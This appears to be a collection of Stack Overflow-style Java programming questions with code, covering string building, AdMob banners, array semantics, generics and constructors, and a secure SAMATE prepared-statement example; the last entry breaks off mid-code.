>",MediaRecord failed to start Android 7.1.1 emulator +Java,"I 'm developing a project that all my POJOs must have they toString ( ) inherited from Object class overridden.Consider the immutable class below : My objective when overriding toString ( ) is to achieve and output similar of the output below ( using test values of all SomeActivity class fields ) : [ Id : 1 , Name : Read a book , Description : Trying to discover how to build a plane , StartDate : 17/10/2013 , EndDate : 15/11/2013 , Note : I really need this ] So , I have two solutions in mind:1 - Concatenate StringsAs far I know , String is a immutable class . ( refer to the javadoc ) , so , if I implement a method to receive such output , I may have many objects being created because of my concatenations:2 - Using StringBuilderWith StringBuilder approach , in theory , I would have less objects being instantiated instead of the `` concatenation approach '' . But notice new StringBuilder and toString ( ) calls of the code below : This second alternative , is really the best possible ? Or is there another approach that I should adopt ? Consider those toString methods being called from a loop statement.Unfortunately , I 'm not very familiar with memory tests , so if is possible to write tests for that , I 'll be very glad to know about that.Thanks in advance .","public final class SomeActivity { private final int id ; private final String name ; private final String description ; private final DateTime startDate ; private final DateTime endDate ; private final String note ; // Constructors and getters // My future implementation of toString } @ Overridepublic String toString ( ) { String s = `` [ Id : `` + id + `` , Name : `` + name + `` , Description : `` + description + `` , StartDate : `` + startDate + `` , EndDate : `` + endDate + `` , Note : `` + note + `` ] '' ; } @ Overridepublic String toString ( ) { StringBuilder builder = new StringBuilder ( ) ; builder.append ( `` [ Id : `` ) .append ( id ) .append ( `` , Name : `` ) .append ( name ) .append ( `` , Description : `` ) .append ( description ) .append ( `` , StartDate : `` ) .append ( startDate ) .append ( `` , EndDate : `` ) .append ( endDate ) .append ( `` , Note : `` ) .append ( note ) .append ( `` ] '' ) ; return builder.toString ( ) ; }",Avoiding memory inefficiency when overring toString ( ) of a common POJO using StringBuilder +Java,"The code below is from SAMATE Reference Dataset . I used it to test a static analysis tool.As you can see the code should prevent SQL-Injection both by using a sanitization method as well as using a prepared statement.Since SCA tools can not know custom santitzation methods , the will not detect that the allowed method is used to prevent the injection.Nevertheless I think that the use of a prepared statement should prevent the injection here anyway . Am I mistaken ?","public class SQLInjection_good_089 extends HttpServlet { private static final long serialVersionUID = 1L ; public SQLInjection_good_089 ( ) { super ( ) ; } // Table of allowed names to use final String allowed_names [ ] = { `` Mickael '' , `` Mary '' , `` Peter '' , `` Laura '' , `` John '' } ; // Function to check if the current name takes part of the allowed ones public boolean allowed ( String in ) { boolean bool = false ; for ( int i = 0 ; i < 5 ; i++ ) { if ( in.equals ( allowed_names [ i ] ) ) { // the current name is allowed to use bool = true ; break ; } } return bool ; } // Method which will be called to handle HTTP GET requests protected void doGet ( HttpServletRequest req , HttpServletResponse resp ) throws ServletException , IOException { // Initialize the output stream resp.setContentType ( `` text/html '' ) ; ServletOutputStream out = resp.getOutputStream ( ) ; out.println ( `` < HTML > < BODY > < blockquote > < pre > '' ) ; Connection conn = null ; // Get the parameter `` name '' from the data provided by the user String name = req.getParameter ( `` name '' ) ; if ( ( name ! = null ) & & ( allowed ( name ) == true ) ) { try { // Set the context factory to use to create the initial context System.setProperty ( Context.INITIAL_CONTEXT_FACTORY , `` your.ContextFactory '' ) ; // Create the initial context and use it to lookup the data source InitialContext ic = new InitialContext ( ) ; DataSource dataSrc = ( DataSource ) ic.lookup ( `` java : comp/env/jdbc : /mydb '' ) ; // Create a connection to the SQL database from the data source conn = dataSrc.getConnection ( ) ; // Send a SQL request to the database PreparedStatement ps = conn.prepareStatement ( `` SELECT * FROM users WHERE firstname LIKE ? '' ) ; // replace the first parameter by name ps.setString ( 1 , name ) ; ps.executeQuery ( ) ; } catch ( NamingException e ) { out.println ( `` Naming exception '' ) ; } catch ( SQLException e ) { out.println ( `` SQL exception '' ) ; } finally { try { if ( conn ! = null ) conn.close ( ) ; } catch ( SQLException se ) { out.println ( `` SQL Exception '' ) ; } } } else return ; out.println ( `` < /pre > < /blockquote > < /body > < /html > '' ) ; } protected void doPost ( HttpServletRequest request , HttpServletResponse response ) throws ServletException , IOException { } }",Does prepared statement prevent SQL-Injection here +Java,"I was learn Adbanner from Admobs in this link https : //developers.google.com/admob/android/quick-start but when i test my application in device and emulator there is no Adbanner show in my applicationi got this following error in Stacktraceas i know from using IDE ( eclipse ) this problem will happen , so i was test the game on my device but the banner not show up in the bottom of layoutthe red background was image and the yellow background was adbanner place that adbanner must show up but it doesn'ti had put this following code in my class as described in google admobs following link abovesorry i was not put all of my code because it is to much , and i do n't use app compat in my projectand in my xml layout i was using linear layoutU P D A T E DI got this error in logcat what is that mean ? Did i missing something that make the banner not show up ? Can anyone help me to fix this so the banner will show up ? Thank 's in Advance","java.lang.NullPointerException at android.os.Handler. < init > ( Handler.java:157 ) at com.google.android.gms.ads.internal.util.client.zza. < clinit > ( Unknown Source ) at com.google.android.gms.ads.internal.client.zzk. < init > ( Unknown Source ) at com.google.android.gms.ads.internal.client.zzk. < clinit > ( Unknown Source ) at com.google.android.gms.ads.internal.client.zzy. < init > ( Unknown Source ) at com.google.android.gms.ads.internal.client.zzy. < init > ( Unknown Source ) at com.google.android.gms.ads.internal.client.zzy. < init > ( Unknown Source ) at com.google.android.gms.ads.AdView. < init > ( Unknown Source ) at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) at sun.reflect.NativeConstructorAccessorImpl.newInstance ( Unknown Source ) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( Unknown Source ) at java.lang.reflect.Constructor.newInstance ( Unknown Source ) at com.android.ide.eclipse.adt.internal.editors.layout.ProjectCallback.instantiateClass ( ProjectCallback.java:442 ) at com.android.ide.eclipse.adt.internal.editors.layout.ProjectCallback.loadView ( ProjectCallback.java:194 ) at android.view.BridgeInflater.loadCustomView ( BridgeInflater.java:206 ) at android.view.BridgeInflater.createViewFromTag ( BridgeInflater.java:131 ) at android.view.LayoutInflater.rInflate_Original ( LayoutInflater.java:746 ) at android.view.LayoutInflater_Delegate.rInflate ( LayoutInflater_Delegate.java:64 ) at android.view.LayoutInflater.rInflate ( LayoutInflater.java:718 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:489 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:372 ) at com.android.layoutlib.bridge.impl.RenderSessionImpl.inflate ( RenderSessionImpl.java:371 ) at com.android.layoutlib.bridge.Bridge.createSession ( Bridge.java:333 ) at com.android.ide.common.rendering.LayoutLibrary.createSession ( LayoutLibrary.java:349 ) at com.android.ide.eclipse.adt.internal.editors.layout.gle2.RenderService.createRenderSession ( RenderService.java:519 ) at com.android.ide.eclipse.adt.internal.editors.layout.gle2.GraphicalEditorPart.renderWithBridge ( GraphicalEditorPart.java:1584 ) at com.android.ide.eclipse.adt.internal.editors.layout.gle2.GraphicalEditorPart.recomputeLayout ( GraphicalEditorPart.java:1309 ) at com.android.ide.eclipse.adt.internal.editors.layout.gle2.GraphicalEditorPart.activated ( GraphicalEditorPart.java:1066 ) at com.android.ide.eclipse.adt.internal.editors.layout.LayoutEditorDelegate.delegatePageChange ( LayoutEditorDelegate.java:686 ) at com.android.ide.eclipse.adt.internal.editors.common.CommonXmlEditor.pageChange ( CommonXmlEditor.java:360 ) at org.eclipse.ui.part.MultiPageEditorPart.setActivePage ( MultiPageEditorPart.java:1102 ) at org.eclipse.ui.forms.editor.FormEditor.setActivePage ( FormEditor.java:607 ) at com.android.ide.eclipse.adt.internal.editors.AndroidXmlEditor.selectDefaultPage ( AndroidXmlEditor.java:450 ) at com.android.ide.eclipse.adt.internal.editors.AndroidXmlEditor.addPages ( AndroidXmlEditor.java:311 ) at com.android.ide.eclipse.adt.internal.editors.common.CommonXmlEditor.addPages ( CommonXmlEditor.java:285 ) at org.eclipse.ui.forms.editor.FormEditor.createPages ( FormEditor.java:138 ) at org.eclipse.ui.part.MultiPageEditorPart.createPartControl ( MultiPageEditorPart.java:363 ) at org.eclipse.ui.internal.e4.compatibility.CompatibilityPart.createPartControl ( CompatibilityPart.java:151 ) at org.eclipse.ui.internal.e4.compatibility.CompatibilityEditor.createPartControl ( CompatibilityEditor.java:99 ) at org.eclipse.ui.internal.e4.compatibility.CompatibilityPart.create ( CompatibilityPart.java:341 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.eclipse.e4.core.internal.di.MethodRequestor.execute ( MethodRequestor.java:56 ) at org.eclipse.e4.core.internal.di.InjectorImpl.processAnnotated ( InjectorImpl.java:898 ) at org.eclipse.e4.core.internal.di.InjectorImpl.processAnnotated ( InjectorImpl.java:879 ) at org.eclipse.e4.core.internal.di.InjectorImpl.inject ( InjectorImpl.java:121 ) at org.eclipse.e4.core.internal.di.InjectorImpl.internalMake ( InjectorImpl.java:345 ) at org.eclipse.e4.core.internal.di.InjectorImpl.make ( InjectorImpl.java:264 ) at org.eclipse.e4.core.contexts.ContextInjectionFactory.make ( ContextInjectionFactory.java:162 ) at org.eclipse.e4.ui.internal.workbench.ReflectionContributionFactory.createFromBundle ( ReflectionContributionFactory.java:104 ) at org.eclipse.e4.ui.internal.workbench.ReflectionContributionFactory.doCreate ( ReflectionContributionFactory.java:73 ) at org.eclipse.e4.ui.internal.workbench.ReflectionContributionFactory.create ( ReflectionContributionFactory.java:55 ) at org.eclipse.e4.ui.workbench.renderers.swt.ContributedPartRenderer.createWidget ( ContributedPartRenderer.java:129 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.createWidget ( PartRenderingEngine.java:971 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.safeCreateGui ( PartRenderingEngine.java:640 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.safeCreateGui ( PartRenderingEngine.java:746 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.access $ 0 ( PartRenderingEngine.java:717 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine $ 2.run ( PartRenderingEngine.java:711 ) at org.eclipse.core.runtime.SafeRunner.run ( SafeRunner.java:42 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.createGui ( PartRenderingEngine.java:695 ) at org.eclipse.e4.ui.workbench.renderers.swt.StackRenderer.showTab ( StackRenderer.java:1306 ) at org.eclipse.e4.ui.workbench.renderers.swt.LazyStackRenderer $ 1.handleEvent ( LazyStackRenderer.java:72 ) at org.eclipse.e4.ui.services.internal.events.UIEventHandler $ 1.run ( UIEventHandler.java:40 ) at org.eclipse.swt.widgets.Synchronizer.syncExec ( Synchronizer.java:186 ) at org.eclipse.ui.internal.UISynchronizer.syncExec ( UISynchronizer.java:145 ) at org.eclipse.swt.widgets.Display.syncExec ( Display.java:4761 ) at org.eclipse.e4.ui.internal.workbench.swt.E4Application $ 1.syncExec ( E4Application.java:211 ) at org.eclipse.e4.ui.services.internal.events.UIEventHandler.handleEvent ( UIEventHandler.java:36 ) at org.eclipse.equinox.internal.event.EventHandlerWrapper.handleEvent ( EventHandlerWrapper.java:197 ) at org.eclipse.equinox.internal.event.EventHandlerTracker.dispatchEvent ( EventHandlerTracker.java:197 ) at org.eclipse.equinox.internal.event.EventHandlerTracker.dispatchEvent ( EventHandlerTracker.java:1 ) at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent ( EventManager.java:230 ) at org.eclipse.osgi.framework.eventmgr.ListenerQueue.dispatchEventSynchronous ( ListenerQueue.java:148 ) at org.eclipse.equinox.internal.event.EventAdminImpl.dispatchEvent ( EventAdminImpl.java:135 ) at org.eclipse.equinox.internal.event.EventAdminImpl.sendEvent ( EventAdminImpl.java:78 ) at org.eclipse.equinox.internal.event.EventComponent.sendEvent ( EventComponent.java:39 ) at org.eclipse.e4.ui.services.internal.events.EventBroker.send ( EventBroker.java:85 ) at org.eclipse.e4.ui.internal.workbench.UIEventPublisher.notifyChanged ( UIEventPublisher.java:59 ) at org.eclipse.emf.common.notify.impl.BasicNotifierImpl.eNotify ( BasicNotifierImpl.java:374 ) at org.eclipse.e4.ui.model.application.ui.impl.ElementContainerImpl.setSelectedElement ( ElementContainerImpl.java:171 ) at org.eclipse.e4.ui.internal.workbench.PartServiceImpl.hidePart ( PartServiceImpl.java:1283 ) at org.eclipse.e4.ui.internal.workbench.PartServiceImpl.hidePart ( PartServiceImpl.java:1236 ) at org.eclipse.e4.ui.workbench.renderers.swt.StackRenderer.closePart ( StackRenderer.java:1278 ) at org.eclipse.e4.ui.workbench.renderers.swt.StackRenderer.access $ 4 ( StackRenderer.java:1260 ) at org.eclipse.e4.ui.workbench.renderers.swt.StackRenderer $ 11.close ( StackRenderer.java:1145 ) at org.eclipse.swt.custom.CTabFolder.onMouse ( CTabFolder.java:1921 ) at org.eclipse.swt.custom.CTabFolder $ 1.handleEvent ( CTabFolder.java:335 ) at org.eclipse.swt.widgets.EventTable.sendEvent ( EventTable.java:84 ) at org.eclipse.swt.widgets.Display.sendEvent ( Display.java:4362 ) at org.eclipse.swt.widgets.Widget.sendEvent ( Widget.java:1113 ) at org.eclipse.swt.widgets.Display.runDeferredEvents ( Display.java:4180 ) at org.eclipse.swt.widgets.Display.readAndDispatch ( Display.java:3769 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine $ 4.run ( PartRenderingEngine.java:1127 ) at org.eclipse.core.databinding.observable.Realm.runWithDefault ( Realm.java:337 ) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.run ( PartRenderingEngine.java:1018 ) at org.eclipse.e4.ui.internal.workbench.E4Workbench.createAndRunUI ( E4Workbench.java:156 ) at org.eclipse.ui.internal.Workbench $ 5.run ( Workbench.java:654 ) at org.eclipse.core.databinding.observable.Realm.runWithDefault ( Realm.java:337 ) at org.eclipse.ui.internal.Workbench.createAndRunWorkbench ( Workbench.java:598 ) at org.eclipse.ui.PlatformUI.createAndRunWorkbench ( PlatformUI.java:150 ) at org.eclipse.ui.internal.ide.application.IDEApplication.start ( IDEApplication.java:139 ) at org.eclipse.equinox.internal.app.EclipseAppHandle.run ( EclipseAppHandle.java:196 ) at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication ( EclipseAppLauncher.java:134 ) at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start ( EclipseAppLauncher.java:104 ) at org.eclipse.core.runtime.adaptor.EclipseStarter.run ( EclipseStarter.java:380 ) at org.eclipse.core.runtime.adaptor.EclipseStarter.run ( EclipseStarter.java:235 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at org.eclipse.equinox.launcher.Main.invokeFramework ( Main.java:669 ) at org.eclipse.equinox.launcher.Main.basicRun ( Main.java:608 ) at org.eclipse.equinox.launcher.Main.run ( Main.java:1515 ) import com.google.android.gms.ads.AdRequest ; import com.google.android.gms.ads.AdView ; public class bplay extends Activity implements View.OnClickListener { private AdView mBanner ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; this.requestWindowFeature ( Window.FEATURE_NO_TITLE ) ; getWindow ( ) .setFlags ( WindowManager.LayoutParams.FLAG_FULLSCREEN , WindowManager.LayoutParams.FLAG_FULLSCREEN ) ; setContentView ( R.layout.bplay ) ; mBanner = ( AdView ) findViewById ( R.id.adView ) ; AdRequest adRequest = new AdRequest.Builder ( ) .build ( ) ; mBanner.loadAd ( adRequest ) ; < uses-sdk android : minSdkVersion= '' 16 '' android : targetSdkVersion= '' 16 '' / > < uses-permission android : name= '' android.permission.INTERNET '' / > < uses-permission android : name= '' android.permission.ACCESS_NETWORK_STATE '' / > < uses-permission android : name= '' android.permission.WRITE_INTERNAL_STORAGE '' / > < application android : allowBackup= '' true '' android : icon= '' @ drawable/ic_launcher '' android : label= '' @ string/app_name '' android : theme= '' @ android : style/Theme.NoTitleBar '' > < meta-data android : name= '' com.google.android.gms.version '' android : value= '' @ integer/google_play_services_version '' / > < activity android : name= '' .Ablankscreen '' android : screenOrientation= '' portrait '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' com.google.android.gms.ads.AdActivity '' android : configChanges= '' keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize '' android : theme= '' @ android : style/Theme.Translucent '' / > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : ads= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : layout_margin= '' 3dp '' android : background= '' @ drawable/backgroundblankyellow '' android : orientation= '' vertical '' > < ImageView android : id= '' @ +id/rulesimage '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_weight= '' 1 '' android : scaleType= '' fitXY '' android : src= '' @ drawable/playimage '' android : visibility= '' visible '' / > < com.google.android.gms.ads.AdView android : id= '' @ +id/adView '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' ads : adSize= '' BANNER '' ads : adUnitId= '' @ string/banner_ad_unit_id '' > < /com.google.android.gms.ads.AdView > < /LinearLayout > 09-24 22:51:33.318 : E/dalvikvm ( 24493 ) : Could not find class 'com.google.android.gms.common.h.c ' , referenced from method com.google.android.gms.common.app.GmsApplication.onCreate09-24 22:52:11.258 : E/dalvikvm ( 25156 ) : Could not find class 'com.google.android.gms.common.h.c ' , referenced from method com.google.android.gms.common.app.GmsApplication.onCreate09-24 22:52:28.708 : E/dalvikvm ( 25264 ) : Could not find class 'com.google.android.gms.common.h.c ' , referenced from method com.google.android.gms.common.app.GmsApplication.onCreate",Ad banner not show up +Java,"I was just playing around with JavaScript and got stuck with a simple program.I declared an array in JavaScript likeThen as there is no fixed size for an array in JavaScript and we can add more to the array , I added another integer to array.And as expected If I try to access a [ 4 ] I am definitely going to get it as undefined.Now , if I take an arrayAnd add another elementI have intentionally not defined a [ 3 ] , and this also gives me a [ 3 ] as undefined.Here is a fiddle where this can be observed : http : //jsfiddle.net/ZUrvM/Now , if I try the same thing in Java , Then I end up withYou can see this on ideone : https : //ideone.com/WKn6RfThe reason for this in Java I found is that the four variables are defined while declaring the array and we can only assign values to the declared size of array.But in JavaScript when I declare an array of size 3 and then add 5th element why does it not consider the 4th element to be null or 0 if we have increased the array size beyond 4 ? Why do I see this strange behavior in JavaScript , but not in other languages ?","var a = [ 0 , 1 , 2 ] ; a [ 3 ] = 3 ; var a = [ 0,1,2 ] ; a [ 4 ] = 4 ; int [ ] a = new int [ 4 ] ; a [ 0 ] = 0 ; a [ 1 ] = 1 ; a [ 3 ] = 3 ; a [ 2 ] = 0 ;",What is the difference between non-initialized items in an array in JavaScript vs Java ? +Java,"So I came across something that confused me when casting a byte to char , usually I would do this : Which will print outI accidentally left a + between the ( char ) and b and got the same result ! ? Like so : Why exactly is this happening ? Am I essentially doing ( char ) ( 0x00 + b ) ? Becauseyields a different result.Note : Using Java version 1.8.0_20",for ( byte b : '' ABCDE '' .getBytes ( ) ) { System.out.println ( ( char ) b ) ; } ABCDE for ( byte b : '' ABCDE '' .getBytes ( ) ) { System.out.println ( ( char ) + b ) ; } System.out.println ( ( char ) - b ) ;,Java syntax - extra plus sign after cast is valid ? +Java,"I use JMH to specify the complexity of the operation . If you 've never worked with JMH , do n't worry . JMH will just launch the estimateOperation method multiple times and then get the average time.Question : [ narrow ] will this program calculate Math.cbrt ( Integer.MAX_VALUE ) each time ? Or it just calculate it once and return cached result afterwards ? Question : [ broad ] : Does JVM ever cache the result of the methods ?",@ GenerateMicroBenchmarkpublic void estimateOperation ( ) { calculate ( ) ; } public int calculate ( ) { return Math.cbrt ( Integer.MAX_VALUE ) ; },Do java caches results of the methods +Java,I have a bean with 4 attributes : I use Eclipse to generate equals and hashcode but the resulting code is not pretty . Is there a compact way to do the same ? Assuming I want equals & hashcode to use all the attributes or a subset of them .,userinstitutionIdgroupIdpostingDate @ Overridepublic int hashCode ( ) { final int prime = 31 ; int result = 1 ; result = prime * result + ( ( groupId == null ) ? 0 : groupId.hashCode ( ) ) ; result = prime * result + ( ( institutionId == null ) ? 0 : institutionId.hashCode ( ) ) ; result = prime * result + ( ( postingDate == null ) ? 0 : postingDate.hashCode ( ) ) ; result = prime * result + ( ( user == null ) ? 0 : user.hashCode ( ) ) ; return result ; } @ Overridepublic boolean equals ( Object obj ) { if ( this == obj ) return true ; if ( obj == null ) return false ; if ( getClass ( ) ! = obj.getClass ( ) ) return false ; ManGroupKey other = ( ManGroupKey ) obj ; if ( groupId == null ) { if ( other.groupId ! = null ) return false ; } else if ( ! groupId.equals ( other.groupId ) ) return false ; if ( institutionId == null ) { if ( other.institutionId ! = null ) return false ; } else if ( ! institutionId.equals ( other.institutionId ) ) return false ; if ( postingDate == null ) { if ( other.postingDate ! = null ) return false ; } else if ( ! postingDate.equals ( other.postingDate ) ) return false ; if ( user == null ) { if ( other.user ! = null ) return false ; } else if ( ! user.equals ( other.user ) ) return false ; return true ; },Compact equals and hashcode +Java,"I tried to use a generic EnumMap as paramter in an abstract method.My Problem is that when I implement the abstract method with an existing enum for the EnumMap the compiler tells me that I have to remove the Override Annotation and implement the super method.Here is my abstract class : And the implementing class : Maybe Iam too silly , but what am I doing wrong ? Can anyone help me ?","import java.util.EnumMap ; import java.util.HashMap ; public abstract class AbstractClazz { // The methode I tried to define public abstract < K extends Enum < K > > boolean isVisible ( EnumMap < K , Object > visibleConditions ) ; // second test public abstract < K > boolean isVisible2 ( HashMap < K , Object > visibleConditions ) ; // third test public abstract boolean isVisible3 ( EnumMap < ? , Object > visibleConditions ) ; } import java.util.EnumMap ; import java.util.HashMap ; public class Clazz extends AbstractClazz { public enum Numbers { ONE , TWO , THREE } // Error : The method isVisible ( EnumMap < Clazz.Numbers , Object > ) of type Clazz must override or implement a supertype method @ Override public boolean isVisible ( EnumMap < Numbers , Object > visibleConditions ) { return false ; } // Error : The method isVisible2 ( HashMap < Clazz.Numbers , Object > ) of type Clazz must override or implement a supertype method @ Override public boolean isVisible2 ( HashMap < Numbers , Object > visibleConditions ) { return false ; } // Error : The method isVisible3 ( EnumMap < Numnbers , Object > ) of type Clazz must override or implement a supertype method @ Override public boolean isVisible3 ( EnumMap < Numnbers , Object > visibleConditions ) { return false ; } }",How to use generic EnumMap as parameter in abstract methods +Java,"To create a new object from a class Student in Java we use normally the following statementI 've read that the new operator creates the new object by allocating memory space in the heap , however I read also that the calling constructor Student ( ) creates it . So , its kind of confusing . Which one is creating the object std ? Is it the new operator or the default constructor ?",Student std = new Student ( ) ;,Constructor and new operator in Java +Java,"I have a couple of interfaces : I want a method that takes instances that are both a Speaker and a Walker . Now , I could implement another interface : And accept that : But this is quite cumbersome with many combinations , and every implementation must inherit from WalkerSpeaker for it to work ! Is there a better way ?","public interface Speaker { void speak ( ) ; } public inteface Walker { void walk ( ) ; } public interface WalkerSpeaker extends Walker , Speaker { } void walkAndTalk ( final WalkerSpeaker x ) { x.walk ( ) ; x.speak ( ) ; }",How do I make a method accept instances with two interfaces ? +Java,"I 'm working on a 3D space trading game with some people , and one of the things I 've been assigned to do is to make a guidance computer 'tunnel ' that the ship travels through , with the tunnel made of squares that the user flies through to their destination , increasing in number as the user gets closer to the destination.It 's only necessary to render the squares for the points ahead of the ship , since that 's all that 's visible to the user . On their way to a destination , the ship 's computer is supposed to put up squares on the HUD that represent fixed points in space between you and the destination , which are small in the distance and get larger as the points approach the craft.I 've had a go at implementing this and ca n't seem to figure it out , mainly using logarithms ( Math.log10 ( x ) and such ) . I tried to get to get the ship position in 'logarithmic space ' to help find out what index to start from when drawing the squares , but then the fact that I only have distance to the destination to work with confuses the matter , especially when you consider that the number of squares has to vary dynamically to make sure they stay fixed at the right locations in space ( i.e. , the squares are positioned at intervals of 200 or so before being transformed logarithmically ) .With regard to this , I had a working implementation with the ship between a start of 0.0d and end of 1.0d , although the implementation was n't so nice . Anyway , the problem essentially boils down to a 1d nature . Any advice would be appreciated with this issue , including possible workarounds to achieve the same effect or solutions . ( Also , there 's a Youtube video showing this effect : http : //www.youtube.com/watch ? v=79F9Nj7GgfM & t=3m5s ) Cheers , ChrisEdit : rephrased the entire question.Edit : new testbed code :","package st ; import java.awt.BorderLayout ; import java.awt.Canvas ; import java.awt.Color ; import java.awt.Dimension ; import java.awt.Font ; import java.awt.Graphics ; import java.awt.Graphics2D ; import java.awt.GraphicsDevice ; import java.awt.GraphicsEnvironment ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.awt.image.BufferStrategy ; import java.text.DecimalFormat ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.SwingUtilities ; import javax.swing.Timer ; public class StUI2 extends JFrame { public static final double DEG_TO_RAD = Math.PI / 180.0d ; public static final DecimalFormat decimalFormat = new DecimalFormat ( `` 0.0000 '' ) ; public static final Font MONO = new Font ( `` Monospaced '' , Font.PLAIN , 10 ) ; public class StPanel extends Canvas { protected final Object imgLock = new Object ( ) ; protected int lastWidth = 1 , lastHeight = 1 ; protected boolean first = true ; protected Color bgColour = Color.DARK_GRAY , gridColour = Color.GRAY ; double shipWrap = 700 ; double shipFrame = 100 ; double shipPos = 0 ; long lastUpdateTimeMS = -1 ; long currUpdateTimeMS = -1 ; public StPanel ( ) { setFocusable ( true ) ; setMinimumSize ( new Dimension ( 1 , 1 ) ) ; setAlwaysOnTop ( true ) ; } public void internalPaint ( Graphics2D g ) { synchronized ( imgLock ) { if ( lastUpdateTimeMS < 0 ) { lastUpdateTimeMS = System.currentTimeMillis ( ) ; } currUpdateTimeMS = System.currentTimeMillis ( ) ; long diffMS = currUpdateTimeMS - lastUpdateTimeMS ; g.setFont ( MONO ) ; shipPos += ( 60d * ( ( double ) diffMS / 1000 ) ) ; if ( shipPos > shipWrap ) { shipPos = 0d ; } double shipPosPerc = shipPos / shipWrap ; double distToDest = shipWrap - shipPos ; double compression = 1000d / distToDest ; g.setColor ( bgColour ) ; Dimension d = getSize ( ) ; g.fillRect ( 0 , 0 , ( int ) d.getWidth ( ) , ( int ) d.getHeight ( ) ) ; //int amnt2 = ( int ) unlog10 ( ( 1000d / distToDest ) ) ; g.setColor ( Color.WHITE ) ; g.drawString ( `` shipPos : `` + decimalFormat.format ( shipPos ) , 10 , 10 ) ; g.drawString ( `` distToDest : `` + decimalFormat.format ( distToDest ) , 10 , 20 ) ; g.drawString ( `` shipWrap : `` + decimalFormat.format ( shipWrap ) , 150 , 10 ) ; int offset = 40 ; g.setFont ( MONO ) ; double scalingFactor = 10d ; double dist = 0 ; int curri = 0 ; int i = 0 ; do { curri = i ; g.setColor ( Color.GREEN ) ; dist = distToDest - getSquareDistance ( distToDest , scalingFactor , i ) ; double sqh = getSquareHeight ( dist , 100d * DEG_TO_RAD ) ; g.drawLine ( 30 + ( int ) dist , ( offset + 50 ) - ( int ) ( sqh / 2d ) , 30 + ( int ) dist , ( offset + 50 ) + ( int ) ( sqh / 2d ) ) ; g.setColor ( Color.LIGHT_GRAY ) ; g.drawString ( `` i : `` + i + `` , dist : `` + decimalFormat.format ( dist ) , 10 , 120 + ( i * 10 ) ) ; i++ ; } while ( dist < distToDest ) ; g.drawLine ( 10 , 122 , 200 , 122 ) ; g.drawString ( `` last / i : `` + curri + `` , dist : `` + decimalFormat.format ( dist ) , 10 , 122 + ( i * 10 ) ) ; g.setColor ( Color.MAGENTA ) ; g.fillOval ( 30 + ( int ) shipPos , offset + 50 , 4 , 4 ) ; lastUpdateTimeMS = currUpdateTimeMS ; } } public double getSquareDistance ( double initialDist , double scalingFactor , int num ) { return Math.pow ( scalingFactor , num ) * num * initialDist ; } public double getSquareHeight ( double distance , double angle ) { return distance / Math.tan ( angle ) ; } /* ( non-Javadoc ) * @ see java.awt.Canvas # paint ( java.awt.Graphics ) */ @ Override public void paint ( Graphics g ) { internalPaint ( ( Graphics2D ) g ) ; } public void redraw ( ) { synchronized ( imgLock ) { Dimension d = getSize ( ) ; if ( d.width == 0 ) d.width = 1 ; if ( d.height == 0 ) d.height = 1 ; if ( first || d.getWidth ( ) ! = lastWidth || d.getHeight ( ) ! = lastHeight ) { first = false ; // remake buf GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment ( ) ; //create an object that represents the device that outputs to screen ( video card ) . GraphicsDevice gd = ge.getDefaultScreenDevice ( ) ; gd.getDefaultConfiguration ( ) ; createBufferStrategy ( 2 ) ; lastWidth = ( int ) d.getWidth ( ) ; lastHeight = ( int ) d.getHeight ( ) ; } BufferStrategy strategy = getBufferStrategy ( ) ; Graphics2D g = ( Graphics2D ) strategy.getDrawGraphics ( ) ; internalPaint ( g ) ; g.dispose ( ) ; if ( ! strategy.contentsLost ( ) ) strategy.show ( ) ; } } } protected final StPanel canvas ; protected Timer viewTimer = new Timer ( 1000 / 60 , new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { canvas.redraw ( ) ; } } ) ; { viewTimer.setRepeats ( true ) ; viewTimer.setCoalesce ( true ) ; } /** * Create the applet . */ public StUI2 ( ) { JPanel panel = new JPanel ( new BorderLayout ( ) ) ; setContentPane ( panel ) ; panel.add ( canvas = new StPanel ( ) , BorderLayout.CENTER ) ; setVisible ( true ) ; setDefaultCloseOperation ( EXIT_ON_CLOSE ) ; setSize ( 800 , 300 ) ; setTitle ( `` Targetting indicator test # 2 '' ) ; viewTimer.start ( ) ; } public static double unlog10 ( double x ) { return Math.pow ( 10d , x ) ; } public static void main ( String [ ] 